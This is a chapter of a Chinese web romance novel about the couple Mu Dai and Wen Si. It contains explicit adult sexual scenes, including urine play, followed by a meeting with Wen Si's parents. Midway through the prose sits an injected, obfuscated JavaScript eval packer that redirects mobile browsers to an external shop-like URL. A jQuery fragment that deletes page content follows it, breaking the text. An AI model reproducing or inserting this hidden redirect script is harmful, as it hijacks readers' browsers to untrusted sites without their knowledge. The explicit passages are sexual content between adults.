慕岱生气了。
他把手边能摸到的东西全往温寺身上扔,枕头毛巾被子一个不落,卧室差点办起了泼水节。温寺被逼到床角躲无可躲,干脆转身一把抱住了慕岱,在他怒气冲冲的脸上亲了又亲。
慕岱险些没绷住,他阴沉着脸,“你尿……”剩下的话卡在喉咙里,到底是没脸说出来。
温寺小声辩解,“你让我试试的。”
“我还让你轻点呢!你听了吗!”慕岱气得牙痒痒,在温寺耳朵上咬了一口,“明天你要在家里陪我,哪也不许去!”
没得到温寺的回应,慕岱不满抬起头,“你听到没有?”
话音刚落,对上了温寺有些发怔的目光。慕岱被刚才那场荒唐冲昏的头脑缓慢清醒,他用指腹摩挲温寺的眼尾,眉跟着皱了下,改口道,“说错了,是今晚。”
他想到温寺今天忙得连消息都没时间回,有些烦躁,明天估计也够呛。
温寺安静看他会,突然凑近抱紧了他,“好,明天我哪里也不去。”
慕岱一怔,“你明天不忙?”
“可以往后推,”温寺认真地看着他,“这些事情都是可以商量的。你需要的时候我能过来,我一定能过来。只要你及时和我说。”
慕岱想,分开的三年他们确实都变了不少。或许在分手的那一刻,两人就已经自动退了一步。
他不会再说,给不了全部的爱就一拍两散。温寺也不会明着和他说,她确实做不到。
他们还会因为陪伴这种事吵起来吗?不知道,但他们都在努力避免。所有的问题一定要有个确切的、完美无缺的解决方案吗,如果他们用现在的方法安稳度过这一生,那是否能算已经解决了这个问题?那其它问题呢,他们之间会出现吗?
第一次提分手,慕岱什么都没删,他在等自己低头。慕岱知道是他不正常,他不能要求所有人都和他一样无所事事,吃喝玩乐就能安度余生。第二次分手,他觉得之前选择低头的他是个傻子。可是……那些尊严真的有那么重要吗,这三年他真的不想再低头吗?不然他为什么要去看医生,又为什么要回来。
到底要怎么做,他们才能永远在一起呢,只靠爱可以吗,只靠这退的一步可以吗?
想不明白,慕岱不想了。他看着狼狈的周围,再次怒从中来,狠狠瞪了眼温寺,爬起来打算去洗澡。刚站到地面,腿上就一热,他脸上立刻红一阵白一阵,气得想踹温寺小腿,可抬起来发现脚踝边也湿漉漉的,是刚刚顺着流下来的。
……温寺再敢问爱不爱这种话他就跟她翻脸!!
清洗时温寺凑过来,非常积极地帮忙,甚至还带着慕岱感受以前她摸到痔疮的位置,慕岱忍无可忍,咬牙掐住她的下巴,用力亲上去,“我割了痔疮,你是不是很失望?”
“那次你舒服吗?”温寺反问。
“……”
“和这次比你喜欢哪个?”
“……”
温寺立刻哀怨地看向慕岱,像掌握了什么话术一般张口就来,“怎么不回答,你是不是不爱我了。”
慕岱铁青着脸:“……这次。”
温寺朝他弯起眼,“那我就不失望。”
慕岱冷笑声,“哦,我真感动。”
温寺看他一会,“你是不是不爱——”
“把你的手拿出去!!”
“刚刚我都没发现这里——”
慕岱闷哼了声,气势汹汹地捂住了温寺的嘴,在氤氲起的水汽中他闭上眼,似乎沉浸进去了,可下一秒却忽然开口,“怎么提起之前的事了?”
除了温寺主动坦白那晚,痔疮有关的一切她明明全都避之不提。
温寺:“我一直想提,可是怕你生气。但你没有。我不想否认任何一段过去,我也希望你和之前一样,想说什么就说什么。”
说到这,温寺停顿了会,声音也变得闷闷的,“但我很喜欢你的,你下次……不要说那种话了。”
“油嘴滑舌,”慕岱哼了声,“不让我说,你自己倒是学得快。”
温寺从善如流地道歉:“对不起,以后我们都不说这个了好不好?”
温寺一下一下蹭他脸,“我很喜欢你的。”
“知道了。”慕岱板着脸答。温寺蓦地伸出手,固定住慕岱的下巴仔细看他,几秒后他压着笑转开了。
本来清理的过程不怎么费劲的,毕竟那个不是出液款,但偏偏最后温寺要来那么一下,慕岱怎么洗都觉得没干净。后面温寺接手,她更细致,洗得慕岱手脚并用地往一旁躲,嚷嚷着就这样吧反正到时候也要被下一顿屎盖住的。可没用。慕岱没躲过,水洗了个彻彻底底。
洗完两个人一起收拾房间,慕岱想把那根系带扔了,温寺站在边上在手里扯来扯去,就是不愿意丢进垃圾桶。慕岱面无表情地抢过来,在温寺委屈巴巴的目光里扔进了洗衣机。
晾完衣服床单,慕岱举着牙膏在那发呆,温寺从身后抱住他,探出脑袋,和镜子里的人对上了目光。
慕岱:“我如果不喜欢,你以后会继续吗?”
温寺:“不会。”
慕岱:“你知道我说的是什么?”
温寺:“不知道。”
“……”他就知道!慕岱翻了个白眼,“下次你去厕所尿,别弄到里面。”
“好哦。”温寺应得很快。
慕岱沉默会,又问,“你喜欢这样?”
温寺:“本来不喜欢的,也没打算这样,但是你让我试试,我就做了。”
“……滚!我说的是这种试吗?”
温寺心虚地扭过头,“可是那样很涩。”
“……”
“你当时的表情也是。”
“……”
“但不做这个你也会在其他时候出现这样的表情,所以继不继续其实没关系,我们尝试别的就好了。”
“……滚。”慕岱一巴掌按在温寺脸上想把她推开,却被亲了一口,他顿时面如菜色,“……我真服你了。”
漱完口后见温寺还站在旁边朝他笑,慕岱顿了顿,将手洗干净,然后偏过头,冷静地问,“还做不做?”
温寺不笑了,神情严肃道,“……我好累。”
笑容转移到慕岱的脸上,他故意挑起温寺的下巴,哼笑声,“不许累,我在床上等你。”
温寺的表情顿时垮了。她洗了把脸让自己清醒,随后带着东西过去,就在她以为有场硬仗要打时,慕岱却只是将被子掀开一角,“睡觉。”
温寺见他该穿的都穿了,高高兴兴地钻了进去。
*
慕岱在睡前就已经做好了打算,明天要烦温寺一整天,不仅要衣来伸手饭来张口,还要早早醒来把她吵醒,让她睡不了一个安稳觉。
可当他发现,自己居然在温寺旁边睡了一个完整的觉后,那些想法又消失了。
他将手伸进被子里,去碰温寺的手腕,那儿不知什么时候用绳绑了个结,他试着拽了下,没拽动。
慕岱看她片刻,拿出手机刷了起来。察觉到温寺醒了后,慕岱又看遍屏幕,将手机放一边。然后他掀开被子,整个人滑下去。
温寺还没完全清醒,下意识要抱慕岱却摸了个空,愣怔片刻,忽然她将被子上掀,和慕岱对上了目光。
他像在观察,又似乎在思考,随后他嘴巴一张一合地问,“你接受这种吗?”
温寺脑子里闪过的想法不多,她只是伸出手按在慕岱嘴角,慕岱仰脸看她片刻,张嘴咬住她的指腹,舌头伸来舔了舔。指侧的皮肤被小小吮吸着,温寺盯着慕岱唇角泄出的一点清润看,慢慢收回手。
对视片刻,慕岱忽然低下头,隔着衣服咬她。
“要吗?”慕岱又问。
温寺说要。
她下意识抓住慕岱的头发,又细又软,没三年前那么扎手。这次没隔着衣服了。
温寺有时候会问自己,如果她不是这样的性格,很多事情会不会比现在更好。温向文小时候又哭又闹,争取到了一个在母父身边长大的机会。如果那个时候她也学着又哭又闹,会得到同样的结果吗?
她如果勇敢一些,如果只是和慕岱谈一场普通的恋爱,他们还会分开这三年吗?会不会在第一次吵架之后,就一直以某种微妙的平衡度过这一生。他们真的需要几年的时间来冷静才能自愿在这段感情里退那一步吗?
慢慢的,温寺无法思考了,她只是看着慕岱,对方半低着脑袋,眼尾憋出绯红,摸上去有些潮。察觉到她的触碰,那双眼微微抬起,似是瞪了她一眼。
突然,温寺五指一紧,扯住了慕岱的头发,她的思绪在清醒和混沌中飘零,缓缓回落至慕岱的眼睛。
刚刚慕岱以为温寺是想将他拨开的,可转瞬却被摁着吃得更多,他抬眼瞪向温寺,轻飘飘的没有任何杀伤力,毕竟他不仅没有反抗,甚至顺着这个力道更加起劲。
两个人都没有说话。还是慕岱先顺着被子爬回来,他扬起下巴,语气有些嘚瑟,“我全接住了。一点都没有漏出来。”
说着他凑过去,想给温寺看他清爽的下巴,可温寺以为他是想亲,用手挡住了,“你去刷牙。”
慕岱不可置信地看着她,“你嫌弃我?”
温寺支支吾吾地别开目光。
慕岱当即冷笑一声,怒气冲冲下了床,卫生间里乒乒乓乓响了一阵后,他又风风火火地回来了,把手里的东西直接系在温寺身上,边恶狠狠地亲着她,边凶巴巴跨过去,“今天我没满意你别想起床!”
牙膏的清香在唇间漫开,温寺仰头想躲,却被慕岱咬了脖子。他满脸羞恼,一片绯红,紧紧抱着温寺,颤巍巍地坐了下去。明明是慕岱主动,可温寺碰他时,他又总躲,他好像哪里都敏感,却偏偏还要假装无事,说些有的没的。温寺被他念得红了脸,把他翻身摁进枕头里。很快慕岱便双目失神,什么话都说不出来了。
结束时温寺心虚地去碰慕岱,“……我是不是太过分了?”
慕岱一脚踹过去,沙哑着声音咬牙切齿道,“……滚!”
慕岱休息了整整三天才能正常走路,这段时间温寺积极地忙前忙后,甚至想进厕所给慕岱擦屁股,但被他轰出来了。
本来慕岱还纳闷,温寺怎么每次被赶都乖乖出去没跟他扯什么爱不爱这种问题,但当温寺犹豫着和他说半个月后有比赛时,慕岱明白了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894943|209828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她又要开始忙了。
“忙你的呗。”慕岱大方地说。
温寺不满地咬他,“别装。”
“……啧,”慕岱凶巴巴地看过来,“再忙也得过来陪我,没时间就硬挤,敢忽略我你完蛋了。”
说完,慕岱有些恼羞成怒,“听我这样说你很高兴?非要我骂你?”
“昂,”温寺亲他,“喜欢听你说真话。”
慕岱翻了个白眼,“说得好像我刚刚很虚伪一样,我难道没有善解人意的时候?”
温寺弯了弯眼。
后面温寺白天待在社团,晚上来找慕岱,有次看电影时,慕岱刚想和她吐槽这神经剧情,一扭头,却发现温寺睡着了。他干脆也闭上眼睡觉,等温寺醒来时装模作样地也打一个哈欠,说这玩意儿真催眠。
后来温寺来的时间越来越晚,慕岱发现了,让她赶紧专心准备比赛,别再两头跑了。
“你像上次那样*我一顿,我能晕三天,你每三天来一次就……”
温寺红着脸去堵慕岱的嘴。
后面几天温寺都没有来,慕岱给自己报了个绘画课,每天都在产出审美超前的艺术品。
温寺再出现时抱着他一觉睡了近二十个小时,慕岱在她额头摸个不停,差点就带她去医院了。
“你几天没睡了?”慕岱皱眉。
温寺刚醒,慢吞吞地打了个哈欠,说三天。
“……”慕岱一手推开温寺的脑袋,冷着脸拉上被子,“再睡会。”
摸上温寺眼下乌青时,慕岱觉得他应该能忍很久这样的生活,看见这样的温寺,他什么话都说不出来。
慕岱打算做顿饭给温寺吃,他搜到最近很火的做菜栏目,挑了个不错的菜,嘉宾还没吃,但成品看着不错,慕岱直接拉回进度照着教程做了。
他严格按照教程来,不灵机一动,也不偷懒省事,最后也成功复刻出了视频里的菜品,看外表几乎一模一样。
慕岱自己先尝了一口,没嚼完就吐了出来,又腥又酸。他皱眉回看视频教学,没发现有什么不一样的地方。在他思考的空档,视频继续往后播放,嘉宾一脸严肃地吃了口,说这道菜的难吃程度又上了一层台阶。
慕岱:“?”
他发评论:这不是做菜栏目?
很快有路人回他:新来的吧,当然是啊,专门教难吃的菜,可以做给朋友吃。没事,每个新关注姜厨的粉丝都要经历这一遭的。
“……”
慕岱服了。他把一锅菜都倒掉了,顺便连换了五个号点举报。
这么一折腾,也没做饭的心思了,他打算去看看温寺醒来没,两个人出去吃。
回房间时温寺正在打电话,慕岱才凑近她就伸出了手,慕岱看了眼位置,姿势别扭地跟她抱了会,由于距离近,能听到电话里隐隐传出温玉箫的声音。
挂完电话,温寺在慕岱身上挂了会,用还带着睡意的声音说,“明天妈妈回来。”
慕岱料到了。他伸手出去,缓慢地摸温寺的耳朵。
温寺虽然没有和温玉箫一起去旅游,但每次妈妈回来时她都会空出一两天和对方待在一起,可能吃个饭,也可能随便去哪个公园走走。哪怕在温寺最忙的时候也不例外。
“明天下午要去机场,上午你想做什么?”温寺耳朵有些痒,把慕岱的手拿下来不让摸了。
“累吗?”慕岱忽然问。
温寺疑惑了下,回他:“不累啊。”
“其实是很累的吧,”慕岱说,“赶了几个通宵准备设计比赛,妈妈过来应该养精蓄锐陪她玩的,现在却还要花时间来陪没有安全感的男朋友。”
慕岱站起来,别开脸没看温寺,“今天明天都去好好休息吧,我没那么需要陪伴,等你忙完了我们再见。”
温寺盯了会慕岱的背影,“为什么不是你陪我?”
慕岱一怔,回眼时神情错愕。
温寺:“明天你和我一起去接妈妈。”
“……”
*
对慕岱而言,见家长是一件很突然的事情,三年前是,现在也是。
以至于当他看见温玉箫身旁还跟着一个人时大脑直接宕机了,仅存的意识让他想扭头,但温寺在背后捏了捏他的手。
称呼在口中一转,还是喊了出来。
“妈。”
温玉箫含着笑,她旁边的人倒是没有表情,一身规整的休闲服也穿出了西装的感觉,满身班味。
温寺没想到爸爸也会来,他们的见面次数实在是少,几乎算得上是陌生人,温寺心里的紧张没比慕岱少,说话的声音都有些颤,“妈妈,爸爸。”
慕岱连忙跟上称呼,“妈,爸,下午好。”
温玉箫揽着温寺笑道,“你要不适应,我们玩的时候不带他。”
在温玉箫继续寒暄时,方凌盯着慕岱若有所思,温寺注意到后看看爸爸,往慕岱身前挡。
下一秒,方凌疑惑道,“向文,你好像长高了点。”
话音落,另外三个人齐刷刷地看向他。
方凌木着张死板僵硬的脸,眼神清澈又茫然,“怎么了?难道是我变矮了吗?”